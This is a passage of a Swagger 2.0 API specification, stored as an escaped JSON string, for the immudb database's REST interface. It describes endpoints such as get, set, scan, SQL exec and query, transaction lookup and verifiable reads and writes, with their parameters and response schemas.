    "content": "{\n  \"swagger\": \"2.0\",\n  \"info\": {\n    \"title\": \"immudb REST API\",\n    \"description\": \"\\u003cb\\u003eIMPORTANT\\u003c/b\\u003e: All \\u003ccode\\u003eget\\u003c/code\\u003e and \\u003ccode\\u003esafeget\\u003c/code\\u003e functions return \\u003cu\\u003ebase64-encoded\\u003c/u\\u003e keys and values, while all \\u003ccode\\u003eset\\u003c/code\\u003e and \\u003ccode\\u003esafeset\\u003c/code\\u003e functions expect \\u003cu\\u003ebase64-encoded\\u003c/u\\u003e inputs.\",\n    \"version\": \"version not set\"\n  },\n  \"basePath\": \"/api\",\n  \"consumes\": [\n    \"application/json\"\n  ],\n  \"produces\": [\n    \"application/json\"\n  ],\n  \"paths\": {\n    \"/db/compactindex\": {\n      \"get\": {\n        \"operationId\": \"ImmuService_CompactIndex\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"A successful response.\",\n            \"schema\": {\n              \"properties\": {}\n            }\n          },\n          \"default\": {\n            \"description\": \"An unexpected error response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/runtimeError\"\n            }\n          }\n        },\n        \"tags\": [\n          \"ImmuService\"\n        ]\n      }\n    },\n    \"/db/count/{prefix}\": {\n      \"get\": {\n        \"summary\": \"NOT YET SUPPORTED\",\n        \"operationId\": \"ImmuService_Count\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"A successful response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/schemaEntryCount\"\n            }\n          },\n          \"default\": {\n            \"description\": \"An unexpected error response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/runtimeError\"\n            }\n          }\n        },\n        \"parameters\": [\n          {\n            \"name\": \"prefix\",\n            \"in\": \"path\",\n            \"required\": true,\n            \"type\": \"string\",\n            \"format\": \"byte\"\n          }\n        ],\n        \"tags\": [\n          \"ImmuService\"\n        ]\n      }\n    },\n    \"/db/countall\": {\n      \"get\": {\n        \"summary\": \"NOT YET SUPPORTED\",\n        \"operationId\": \"ImmuService_CountAll\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"A successful response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/schemaEntryCount\"\n            }\n          },\n          \"default\": {\n            \"description\": \"An unexpected error response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/runtimeError\"\n            }\n          }\n        },\n        \"tags\": [\n          \"ImmuService\"\n        ]\n      }\n    },\n    \"/db/create\": {\n      \"post\": {\n        \"summary\": \"DEPRECATED: Use CreateDatabaseV2\",\n        \"operationId\": \"ImmuService_CreateDatabase\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"A successful response.\",\n            \"schema\": {\n              \"properties\": {}\n            }\n          },\n          \"default\": {\n            \"description\": \"An unexpected error response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/runtimeError\"\n            }\n          }\n        },\n        \"parameters\": [\n          {\n            \"name\": \"body\",\n            \"in\": \"body\",\n            \"required\": true,\n            \"schema\": {\n              \"$ref\": \"#/definitions/schemaDatabase\"\n            }\n          }\n        ],\n        \"tags\": [\n          \"ImmuService\"\n        ]\n      }\n    },\n    \"/db/create/v2\": {\n      \"post\": {\n        \"operationId\": \"ImmuService_CreateDatabaseV2\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"A successful response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/schemaCreateDatabaseResponse\"\n            }\n          },\n          \"default\": {\n            \"description\": \"An unexpected error response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/runtimeError\"\n            }\n          }\n        },\n        \"parameters\": [\n          {\n            \"name\": \"body\",\n            \"in\": \"body\",\n            \"required\": true,\n            \"schema\": {\n              \"$ref\": \"#/definitions/schemaCreateDatabaseRequest\"\n            }\n          }\n        ],\n        \"tags\": [\n          \"ImmuService\"\n        ]\n      }\n    },\n    \"/db/createwith\": {\n      \"post\": {\n        \"summary\": \"DEPRECATED: Use CreateDatabaseV2\",\n        \"operationId\": \"ImmuService_CreateDatabaseWith\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"A successful response.\",\n            \"schema\": {\n              \"properties\": {}\n            }\n          },\n          \"default\": {\n            \"description\": \"An unexpected error response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/runtimeError\"\n            }\n          }\n        },\n        \"parameters\": [\n          {\n            \"name\": \"body\",\n            \"in\": \"body\",\n            \"required\": true,\n            \"schema\": {\n              \"$ref\": \"#/definitions/schemaDatabaseSettings\"\n            }\n          }\n        ],\n        \"tags\": [\n          \"ImmuService\"\n        ]\n      }\n    },\n    \"/db/delete\": {\n      \"post\": {\n        \"operationId\": \"ImmuService_DeleteDatabase\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"A successful response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/schemaDeleteDatabaseResponse\"\n            }\n          },\n          \"default\": {\n            \"description\": \"An unexpected error response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/runtimeError\"\n            }\n          }\n        },\n        \"parameters\": [\n          {\n            \"name\": \"body\",\n            \"in\": \"body\",\n            \"required\": true,\n            \"schema\": {\n              \"$ref\": \"#/definitions/schemaDeleteDatabaseRequest\"\n            }\n          }\n        ],\n        \"tags\": [\n          \"ImmuService\"\n        ]\n      }\n    },\n    \"/db/deletekey\": {\n      \"post\": {\n        \"operationId\": \"ImmuService_Delete\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"A successful response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/schemaTxHeader\"\n            }\n          },\n          \"default\": {\n            \"description\": \"An unexpected error response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/runtimeError\"\n            }\n          }\n        },\n        \"parameters\": [\n          {\n            \"name\": \"body\",\n            \"in\": \"body\",\n            \"required\": true,\n            \"schema\": {\n              \"$ref\": \"#/definitions/schemaDeleteKeysRequest\"\n            }\n          }\n        ],\n        \"tags\": [\n          \"ImmuService\"\n        ]\n      }\n    },\n    \"/db/execall\": {\n      \"post\": {\n        \"operationId\": \"ImmuService_ExecAll\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"A successful response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/schemaTxHeader\"\n            }\n          },\n          \"default\": {\n            \"description\": \"An unexpected error response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/runtimeError\"\n            }\n          }\n        },\n        \"parameters\": [\n          {\n            \"name\": \"body\",\n            \"in\": \"body\",\n            \"required\": true,\n            \"schema\": {\n              \"$ref\": \"#/definitions/schemaExecAllRequest\"\n            }\n          }\n        ],\n        \"tags\": [\n          \"ImmuService\"\n        ]\n      }\n    },\n    \"/db/flushindex\": {\n      \"get\": {\n        \"operationId\": \"ImmuService_FlushIndex\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"A successful response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/schemaFlushIndexResponse\"\n            }\n          },\n          \"default\": {\n            \"description\": \"An unexpected error response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/runtimeError\"\n            }\n          }\n        },\n        \"parameters\": [\n          {\n            \"name\": \"cleanupPercentage\",\n            \"description\": \"Percentage of nodes file to cleanup during flush.\",\n            \"in\": \"query\",\n            \"required\": false,\n            \"type\": \"number\",\n            \"format\": \"float\"\n          },\n          {\n            \"name\": \"synced\",\n            \"description\": \"If true, do a full disk sync after the flush.\",\n            \"in\": \"query\",\n            \"required\": false,\n            \"type\": \"boolean\"\n          }\n        ],\n        \"tags\": [\n          \"ImmuService\"\n        ]\n      }\n    },\n    \"/db/get/{key}\": {\n      \"get\": {\n        \"operationId\": \"ImmuService_Get\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"A successful response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/schemaEntry\"\n            }\n          },\n          \"default\": {\n            \"description\": \"An unexpected error response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/runtimeError\"\n            }\n          }\n        },\n        \"parameters\": [\n          {\n            \"name\": \"key\",\n            \"description\": \"Key to query for\",\n            \"in\": \"path\",\n            \"required\": true,\n            \"type\": \"string\",\n            \"format\": \"byte\"\n          },\n          {\n            \"name\": \"atTx\",\n            \"description\": \"If \\u003e 0, query for the value exactly at given transaction.\",\n            \"in\": \"query\",\n            \"required\": false,\n            \"type\": \"string\",\n            \"format\": \"uint64\"\n          },\n          {\n            \"name\": \"sinceTx\",\n            \"description\": \"If 0 (and noWait=false), wait for the index to be up-to-date,\\nIf \\u003e 0 (and noWait=false), wait for at lest the sinceTx transaction to be indexed.\",\n            \"in\": \"query\",\n            \"required\": false,\n            \"type\": \"string\",\n            \"format\": \"uint64\"\n          },\n          {\n            \"name\": \"noWait\",\n            \"description\": \"If set to true - do not wait for any indexing update considering only the currently indexed state.\",\n            \"in\": \"query\",\n            \"required\": false,\n            \"type\": \"boolean\"\n          },\n          {\n            \"name\": \"atRevision\",\n            \"description\": \"If \\u003e 0, get the nth version of the value, 1 being the first version, 2 being the second and so on\\nIf \\u003c 0, get the historical nth value of the key, -1 being the previous version, -2 being the one before and so on.\",\n            \"in\": \"query\",\n            \"required\": false,\n            \"type\": \"string\",\n            \"format\": \"int64\"\n          }\n        ],\n        \"tags\": [\n          \"ImmuService\"\n        ]\n      }\n    },\n    \"/db/getall\": {\n      \"post\": {\n        \"operationId\": \"ImmuService_GetAll\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"A successful response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/schemaEntries\"\n            }\n          },\n          \"default\": {\n            \"description\": \"An unexpected error response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/runtimeError\"\n            }\n          }\n        },\n        \"parameters\": [\n          {\n            \"name\": \"body\",\n            \"in\": \"body\",\n            \"required\": true,\n            \"schema\": {\n              \"$ref\": \"#/definitions/schemaKeyListRequest\"\n            }\n          }\n        ],\n        \"tags\": [\n          \"ImmuService\"\n        ]\n      }\n    },\n    \"/db/health\": {\n      \"get\": {\n        \"operationId\": \"ImmuService_DatabaseHealth\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"A successful response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/schemaDatabaseHealthResponse\"\n            }\n          },\n          \"default\": {\n            \"description\": \"An unexpected error response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/runtimeError\"\n            }\n          }\n        },\n        \"tags\": [\n          \"ImmuService\"\n        ],\n        \"security\": []\n      }\n    },\n    \"/db/history\": {\n      \"post\": {\n        \"operationId\": \"ImmuService_History\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"A successful response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/schemaEntries\"\n            }\n          },\n          \"default\": {\n            \"description\": \"An unexpected error response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/runtimeError\"\n            }\n          }\n        },\n        \"parameters\": [\n          {\n            \"name\": \"body\",\n            \"in\": \"body\",\n            \"required\": true,\n            \"schema\": {\n              \"$ref\": \"#/definitions/schemaHistoryRequest\"\n            }\n          }\n        ],\n        \"tags\": [\n          \"ImmuService\"\n        ]\n      }\n    },\n    \"/db/list\": {\n      \"post\": {\n        \"summary\": \"DEPRECATED: Use DatabaseListV2\",\n        \"operationId\": \"ImmuService_DatabaseList\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"A successful response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/schemaDatabaseListResponse\"\n            }\n          },\n          \"default\": {\n            \"description\": \"An unexpected error response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/runtimeError\"\n            }\n          }\n        },\n        \"parameters\": [\n          {\n            \"name\": \"body\",\n            \"in\": \"body\",\n            \"required\": true,\n            \"schema\": {\n              \"properties\": {}\n            }\n          }\n        ],\n        \"tags\": [\n          \"ImmuService\"\n        ]\n      }\n    },\n    \"/db/list/v2\": {\n      \"post\": {\n        \"operationId\": \"ImmuService_DatabaseListV2\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"A successful response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/schemaDatabaseListResponseV2\"\n            }\n          },\n          \"default\": {\n            \"description\": \"An unexpected error response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/runtimeError\"\n            }\n          }\n        },\n        \"parameters\": [\n          {\n            \"name\": \"body\",\n            \"in\": \"body\",\n            \"required\": true,\n            \"schema\": {\n              \"$ref\": \"#/definitions/schemaDatabaseListRequestV2\"\n            }\n          }\n        ],\n        \"tags\": [\n          \"ImmuService\"\n        ]\n      }\n    },\n    \"/db/load\": {\n      \"post\": {\n        \"operationId\": \"ImmuService_LoadDatabase\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"A successful response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/schemaLoadDatabaseResponse\"\n            }\n          },\n          \"default\": {\n            \"description\": \"An unexpected error response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/runtimeError\"\n            }\n          }\n        },\n        \"parameters\": [\n          {\n            \"name\": \"body\",\n            \"in\": \"body\",\n            \"required\": true,\n            \"schema\": {\n              \"$ref\": \"#/definitions/schemaLoadDatabaseRequest\"\n            }\n          }\n        ],\n        \"tags\": [\n          \"ImmuService\"\n        ]\n      }\n    },\n    \"/db/scan\": {\n      \"post\": {\n        \"operationId\": \"ImmuService_Scan\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"A successful response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/schemaEntries\"\n            }\n          },\n          \"default\": {\n            \"description\": \"An unexpected error response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/runtimeError\"\n            }\n          }\n        },\n        \"parameters\": [\n          {\n            \"name\": \"body\",\n            \"in\": \"body\",\n            \"required\": true,\n            \"schema\": {\n              \"$ref\": \"#/definitions/schemaScanRequest\"\n            }\n          }\n        ],\n        \"tags\": [\n          \"ImmuService\"\n        ]\n      }\n    },\n    \"/db/set\": {\n      \"post\": {\n        \"operationId\": \"ImmuService_Set\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"A successful response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/schemaTxHeader\"\n            }\n          },\n          \"default\": {\n            \"description\": \"An unexpected error response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/runtimeError\"\n            }\n          }\n        },\n        \"parameters\": [\n          {\n            \"name\": \"body\",\n            \"in\": \"body\",\n            \"required\": true,\n            \"schema\": {\n              \"$ref\": \"#/definitions/schemaSetRequest\"\n            }\n          }\n        ],\n        \"tags\": [\n          \"ImmuService\"\n        ]\n      }\n    },\n    \"/db/setreference\": {\n      \"post\": {\n        \"operationId\": \"ImmuService_SetReference\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"A successful response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/schemaTxHeader\"\n            }\n          },\n          \"default\": {\n            \"description\": \"An unexpected error response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/runtimeError\"\n            }\n          }\n        },\n        \"parameters\": [\n          {\n            \"name\": \"body\",\n            \"in\": \"body\",\n            \"required\": true,\n            \"schema\": {\n              \"$ref\": \"#/definitions/schemaReferenceRequest\"\n            }\n          }\n        ],\n        \"tags\": [\n          \"ImmuService\"\n        ]\n      }\n    },\n    \"/db/settings\": {\n      \"post\": {\n        \"summary\": \"DEPRECATED: Use GetDatabaseSettingsV2\",\n        \"operationId\": \"ImmuService_GetDatabaseSettings\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"A successful response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/schemaDatabaseSettings\"\n            }\n          },\n          \"default\": {\n            \"description\": \"An unexpected error response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/runtimeError\"\n            }\n          }\n        },\n        \"parameters\": [\n          {\n            \"name\": \"body\",\n            \"in\": \"body\",\n            \"required\": true,\n            \"schema\": {\n              \"properties\": {}\n            }\n          }\n        ],\n        \"tags\": [\n          \"ImmuService\"\n        ]\n      }\n    },\n    \"/db/settings/v2\": {\n      \"post\": {\n        \"operationId\": \"ImmuService_GetDatabaseSettingsV2\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"A successful response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/schemaDatabaseSettingsResponse\"\n            }\n          },\n          \"default\": {\n            \"description\": \"An unexpected error response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/runtimeError\"\n            }\n          }\n        },\n        \"parameters\": [\n          {\n            \"name\": \"body\",\n            \"in\": \"body\",\n            \"required\": true,\n            \"schema\": {\n              \"$ref\": \"#/definitions/schemaDatabaseSettingsRequest\"\n            }\n          }\n        ],\n        \"tags\": [\n          \"ImmuService\"\n        ]\n      }\n    },\n    \"/db/sqlexec\": {\n      \"post\": {\n        \"operationId\": \"ImmuService_SQLExec\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"A successful response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/schemaSQLExecResult\"\n            }\n          },\n          \"default\": {\n            \"description\": \"An unexpected error response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/runtimeError\"\n            }\n          }\n        },\n        \"parameters\": [\n          {\n            \"name\": \"body\",\n            \"in\": \"body\",\n            \"required\": true,\n            \"schema\": {\n              \"$ref\": \"#/definitions/schemaSQLExecRequest\"\n            }\n          }\n        ],\n        \"tags\": [\n          \"ImmuService\"\n        ]\n      }\n    },\n    \"/db/sqlquery\": {\n      \"post\": {\n        \"operationId\": \"ImmuService_SQLQuery\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"A successful response.(streaming responses)\",\n            \"schema\": {\n              \"type\": \"object\",\n              \"properties\": {\n                \"result\": {\n                  \"$ref\": \"#/definitions/schemaSQLQueryResult\"\n                },\n                \"error\": {\n                  \"$ref\": \"#/definitions/runtimeStreamError\"\n                }\n              },\n              \"title\": \"Stream result of schemaSQLQueryResult\"\n            }\n          },\n          \"default\": {\n            \"description\": \"An unexpected error response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/runtimeError\"\n            }\n          }\n        },\n        \"parameters\": [\n          {\n            \"name\": \"body\",\n            \"in\": \"body\",\n            \"required\": true,\n            \"schema\": {\n              \"$ref\": \"#/definitions/schemaSQLQueryRequest\"\n            }\n          }\n        ],\n        \"tags\": [\n          \"ImmuService\"\n        ]\n      }\n    },\n    \"/db/state\": {\n      \"get\": {\n        \"operationId\": \"ImmuService_CurrentState\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"A successful response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/schemaImmutableState\"\n            }\n          },\n          \"default\": {\n            \"description\": \"An unexpected error response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/runtimeError\"\n            }\n          }\n        },\n        \"tags\": [\n          \"ImmuService\"\n        ],\n        \"security\": []\n      }\n    },\n    \"/db/table/list\": {\n      \"get\": {\n        \"operationId\": \"ImmuService_ListTables\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"A successful response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/schemaSQLQueryResult\"\n            }\n          },\n          \"default\": {\n            \"description\": \"An unexpected error response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/runtimeError\"\n            }\n          }\n        },\n        \"tags\": [\n          \"ImmuService\"\n        ]\n      }\n    },\n    \"/db/tables\": {\n      \"post\": {\n        \"operationId\": \"ImmuService_DescribeTable\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"A successful response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/schemaSQLQueryResult\"\n            }\n          },\n          \"default\": {\n            \"description\": \"An unexpected error response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/runtimeError\"\n            }\n          }\n        },\n        \"parameters\": [\n          {\n            \"name\": \"body\",\n            \"in\": \"body\",\n            \"required\": true,\n            \"schema\": {\n              \"$ref\": \"#/definitions/schemaTable\"\n            }\n          }\n        ],\n        \"tags\": [\n          \"ImmuService\"\n        ]\n      }\n    },\n    \"/db/truncate\": {\n      \"post\": {\n        \"operationId\": \"ImmuService_TruncateDatabase\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"A successful response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/schemaTruncateDatabaseResponse\"\n            }\n          },\n          \"default\": {\n            \"description\": \"An unexpected error response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/runtimeError\"\n            }\n          }\n        },\n        \"parameters\": [\n          {\n            \"name\": \"body\",\n            \"in\": \"body\",\n            \"required\": true,\n            \"schema\": {\n              \"$ref\": \"#/definitions/schemaTruncateDatabaseRequest\"\n            }\n          }\n        ],\n        \"tags\": [\n          \"ImmuService\"\n        ]\n      }\n    },\n    \"/db/tx\": {\n      \"post\": {\n        \"operationId\": \"ImmuService_TxScan\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"A successful response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/schemaTxList\"\n            }\n          },\n          \"default\": {\n            \"description\": \"An unexpected error response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/runtimeError\"\n            }\n          }\n        },\n        \"parameters\": [\n          {\n            \"name\": \"body\",\n            \"in\": \"body\",\n            \"required\": true,\n            \"schema\": {\n              \"$ref\": \"#/definitions/schemaTxScanRequest\"\n            }\n          }\n        ],\n        \"tags\": [\n          \"ImmuService\"\n        ]\n      }\n    },\n    \"/db/tx/{tx}\": {\n      \"get\": {\n        \"operationId\": \"ImmuService_TxById\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"A successful response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/schemaTx\"\n            }\n          },\n          \"default\": {\n            \"description\": \"An unexpected error response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/runtimeError\"\n            }\n          }\n        },\n        \"parameters\": [\n          {\n            \"name\": \"tx\",\n            \"description\": \"Transaction id to query for\",\n            \"in\": \"path\",\n            \"required\": true,\n            \"type\": \"string\",\n            \"format\": \"uint64\"\n          },\n          {\n            \"name\": \"entriesSpec.kvEntriesSpec.action\",\n            \"description\": \"Action to perform on entries.\\n\\n - EXCLUDE: Exclude entries from the result\\n - ONLY_DIGEST: Provide keys in raw (unparsed) form and only the digest of the value\\n - RAW_VALUE: Provide keys and values in raw form\\n - RESOLVE: Provide parsed keys and values and resolve values if needed\",\n            \"in\": \"query\",\n            \"required\": false,\n            \"type\": \"string\",\n            \"enum\": [\n              \"EXCLUDE\",\n              \"ONLY_DIGEST\",\n              \"RAW_VALUE\",\n              \"RESOLVE\"\n            ],\n            \"default\": \"EXCLUDE\"\n          },\n          {\n            \"name\": \"entriesSpec.zEntriesSpec.action\",\n            \"description\": \"Action to perform on entries.\\n\\n - EXCLUDE: Exclude entries from the result\\n - ONLY_DIGEST: Provide keys in raw (unparsed) form and only the digest of the value\\n - RAW_VALUE: Provide keys and values in raw form\\n - RESOLVE: Provide parsed keys and values and resolve values if needed\",\n            \"in\": \"query\",\n            \"required\": false,\n            \"type\": \"string\",\n            \"enum\": [\n              \"EXCLUDE\",\n              \"ONLY_DIGEST\",\n              \"RAW_VALUE\",\n              \"RESOLVE\"\n            ],\n            \"default\": \"EXCLUDE\"\n          },\n          {\n            \"name\": \"entriesSpec.sqlEntriesSpec.action\",\n            \"description\": \"Action to perform on entries.\\n\\n - EXCLUDE: Exclude entries from the result\\n - ONLY_DIGEST: Provide keys in raw (unparsed) form and only the digest of the value\\n - RAW_VALUE: Provide keys and values in raw form\\n - RESOLVE: Provide parsed keys and values and resolve values if needed\",\n            \"in\": \"query\",\n            \"required\": false,\n            \"type\": \"string\",\n            \"enum\": [\n              \"EXCLUDE\",\n              \"ONLY_DIGEST\",\n              \"RAW_VALUE\",\n              \"RESOLVE\"\n            ],\n            \"default\": \"EXCLUDE\"\n          },\n          {\n            \"name\": \"sinceTx\",\n            \"description\": \"If \\u003e 0, do not wait for the indexer to index all entries, only require\\nentries up to sinceTx to be indexed, will affect resolving references.\",\n            \"in\": \"query\",\n            \"required\": false,\n            \"type\": \"string\",\n            \"format\": \"uint64\"\n          },\n          {\n            \"name\": \"noWait\",\n            \"description\": \"Deprecated: If set to true, do not wait for the indexer to be up to date.\",\n            \"in\": \"query\",\n            \"required\": false,\n            \"type\": \"boolean\"\n          },\n          {\n            \"name\": \"keepReferencesUnresolved\",\n            \"description\": \"If set to true, do not resolve references (avoid looking up final values if not needed).\",\n            \"in\": \"query\",\n            \"required\": false,\n            \"type\": \"boolean\"\n          }\n        ],\n        \"tags\": [\n          \"ImmuService\"\n        ]\n      }\n    },\n    \"/db/unload\": {\n      \"post\": {\n        \"operationId\": \"ImmuService_UnloadDatabase\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"A successful response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/schemaUnloadDatabaseResponse\"\n            }\n          },\n          \"default\": {\n            \"description\": \"An unexpected error response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/runtimeError\"\n            }\n          }\n        },\n        \"parameters\": [\n          {\n            \"name\": \"body\",\n            \"in\": \"body\",\n            \"required\": true,\n            \"schema\": {\n              \"$ref\": \"#/definitions/schemaUnloadDatabaseRequest\"\n            }\n          }\n        ],\n        \"tags\": [\n          \"ImmuService\"\n        ]\n      }\n    },\n    \"/db/update\": {\n      \"post\": {\n        \"summary\": \"DEPRECATED: Use UpdateDatabaseV2\",\n        \"operationId\": \"ImmuService_UpdateDatabase\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"A successful response.\",\n            \"schema\": {\n              \"properties\": {}\n            }\n          },\n          \"default\": {\n            \"description\": \"An unexpected error response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/runtimeError\"\n            }\n          }\n        },\n        \"parameters\": [\n          {\n            \"name\": \"body\",\n            \"in\": \"body\",\n            \"required\": true,\n            \"schema\": {\n              \"$ref\": \"#/definitions/schemaDatabaseSettings\"\n            }\n          }\n        ],\n        \"tags\": [\n          \"ImmuService\"\n        ]\n      }\n    },\n    \"/db/update/v2\": {\n      \"post\": {\n        \"operationId\": \"ImmuService_UpdateDatabaseV2\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"A successful response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/schemaUpdateDatabaseResponse\"\n            }\n          },\n          \"default\": {\n            \"description\": \"An unexpected error response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/runtimeError\"\n            }\n          }\n        },\n        \"parameters\": [\n          {\n            \"name\": \"body\",\n            \"in\": \"body\",\n            \"required\": true,\n            \"schema\": {\n              \"$ref\": \"#/definitions/schemaUpdateDatabaseRequest\"\n            }\n          }\n        ],\n        \"tags\": [\n          \"ImmuService\"\n        ]\n      }\n    },\n    \"/db/use/{databaseName}\": {\n      \"get\": {\n        \"operationId\": \"ImmuService_UseDatabase\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"A successful response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/schemaUseDatabaseReply\"\n            }\n          },\n          \"default\": {\n            \"description\": \"An unexpected error response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/runtimeError\"\n            }\n          }\n        },\n        \"parameters\": [\n          {\n            \"name\": \"databaseName\",\n            \"description\": \"Name of the database\",\n            \"in\": \"path\",\n            \"required\": true,\n            \"type\": \"string\"\n          }\n        ],\n        \"tags\": [\n          \"ImmuService\"\n        ]\n      }\n    },\n    \"/db/verifiable/get\": {\n      \"post\": {\n        \"operationId\": \"ImmuService_VerifiableGet\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"A successful response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/schemaVerifiableEntry\"\n            }\n          },\n          \"default\": {\n            \"description\": \"An unexpected error response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/runtimeError\"\n            }\n          }\n        },\n        \"parameters\": [\n          {\n            \"name\": \"body\",\n            \"in\": \"body\",\n            \"required\": true,\n            \"schema\": {\n              \"$ref\": \"#/definitions/schemaVerifiableGetRequest\"\n            }\n          }\n        ],\n        \"tags\": [\n          \"ImmuService\"\n        ]\n      }\n    },\n    \"/db/verifiable/set\": {\n      \"post\": {\n        \"operationId\": \"ImmuService_VerifiableSet\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"A successful response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/schemaVerifiableTx\"\n            }\n          },\n          \"default\": {\n            \"description\": \"An unexpected error response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/runtimeError\"\n            }\n          }\n        },\n        \"parameters\": [\n          {\n            \"name\": \"body\",\n            \"in\": \"body\",\n            \"required\": true,\n            \"schema\": {\n              \"$ref\": \"#/definitions/schemaVerifiableSetRequest\"\n            }\n          }\n        ],\n        \"tags\": [\n          \"ImmuService\"\n        ]\n      }\n    },\n    \"/db/verifiable/setreference\": {\n      \"post\": {\n        \"operationId\": \"ImmuService_VerifiableSetReference\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"A successful response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/schemaVerifiableTx\"\n            }\n          },\n          \"default\": {\n            \"description\": \"An unexpected error response.\",\n            \"schema\": {\n              \"$ref\": \"#/definitions/runtimeError\"\n            }\n          }\n        },\n        \"parameters\": [\n          {\n            \"name\": \"body\",\n            \"in\": \"body\",\n            \"required\": true,\n            \"schema\": {\n              \"$ref\": \"#/definitions/schemaVerifiableReferenceRequest\"\n            }\n          }\n        ],\n        \"tags\": [\n          \"ImmuService\"\n        ]\n      }\n    },\n    \"/db/verifiable/sqlget\": {\n      \"post\": {\n        \"operationId\": \"ImmuService_VerifiableSQLGet\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"A 